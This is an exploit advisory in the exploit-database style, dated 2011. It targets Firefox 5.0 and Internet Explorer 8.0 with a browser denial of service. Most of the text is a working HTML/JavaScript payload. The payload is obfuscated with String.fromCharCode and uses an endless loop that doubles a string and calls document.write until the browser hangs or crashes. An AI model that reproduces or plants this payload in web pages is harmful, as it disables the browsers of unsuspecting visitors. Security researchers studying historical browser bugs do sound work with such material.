Mozilla Firefox 5.0 / Microsoft Internet Explorer 8.0 Denial Of Service

`Firefox 5.0 & Internet Explorer 8.0 - Access Violation Exception and Unknown Exception  
  
# Exploit Title: Firefox 5.0 & Internet Explorer 8.0 - Access Violation Exception and Unknown Exception  
# Google Dork: N/A  
# Date: 7/12/2011  
# Author: r45c4l  
# Software Link: [www.firefox.com and IE is shiped with Windows copies]  
# Version: Firefox 5.0 and Internet Explorer 8.0  
# Tested on: Windows 7 (plateform independent)  
# CVE : N/A  
  
# NOTE : Though this is a old issue which has been reported earlier also (http://www.exploit-db.com/exploits/12602/) but the problem still exists in the upgradet versions.  
  
# Status : Vendors not reported.  
  
# Exploit :   
  
<script>  
var a=String.fromCharCode(60,115,99,114,105,112,116,62,118,97,114,32,97,61,34,60,109,97,114,113,117,101,101,62,97,34,59,119,104,105,108,101,40,49,41,123,97,61,97,43,97,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,97,41,59,125,60,47,115,99,114,105,112,116,62);  
while(1){  
a=a+a;  
document.write(a);  
}  
</script>  
  
  
Greetz : Cattechie, H5 team,   
`